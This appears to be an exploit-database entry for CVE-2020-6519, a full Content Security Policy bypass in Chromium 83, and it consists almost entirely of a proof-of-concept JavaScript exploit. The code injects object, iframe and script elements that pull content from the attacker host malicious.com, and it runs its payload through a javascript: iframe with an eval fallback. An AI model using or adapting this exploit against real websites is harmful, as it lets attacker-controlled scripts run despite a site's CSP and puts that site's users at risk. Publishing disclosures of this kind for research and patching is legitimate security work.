发布 2020-12-04 漏洞条目

Chromium 83 – Full CSP Bypass

Exploit Source

#Title: Chromium 83 - Full CSP Bypass

#Date: 02/09/2020

#Exploit Author: Gal Weizman

#Vendor Homepage: https://www.chromium.org/

#Software Link: https://download-chromium.appspot.com/

#Version: 83

#Tested On: Mac OS, Windows, iPhone, Android

#CVE: CVE-2020-6519

(function(){

var payload = `

top.SUCCESS = true;

var o = document.createElement("object");

o.data = `http://malicious.com/bypass-object-src.html`;

document.body.appendChild(o);

var i = document.createElement("iframe");

i.src = `http://malicious.com/bypass-child-src.html`;

document.body.appendChild(i);

var s = document.createElement("script");

s.src = `http://malicious.com/bypass-script-src.js`;

document.body.appendChild(s);

document.body.innerHTML+="<iframe id='XXX' src='javascript:" + payload +"'></iframe>";

setTimeout(() => {

if (!top.SUCCESS) {

XXX.contentWindow.eval(payload);

}

});

}())

// further information: https://github.com/weizman/CVE-2020-6519

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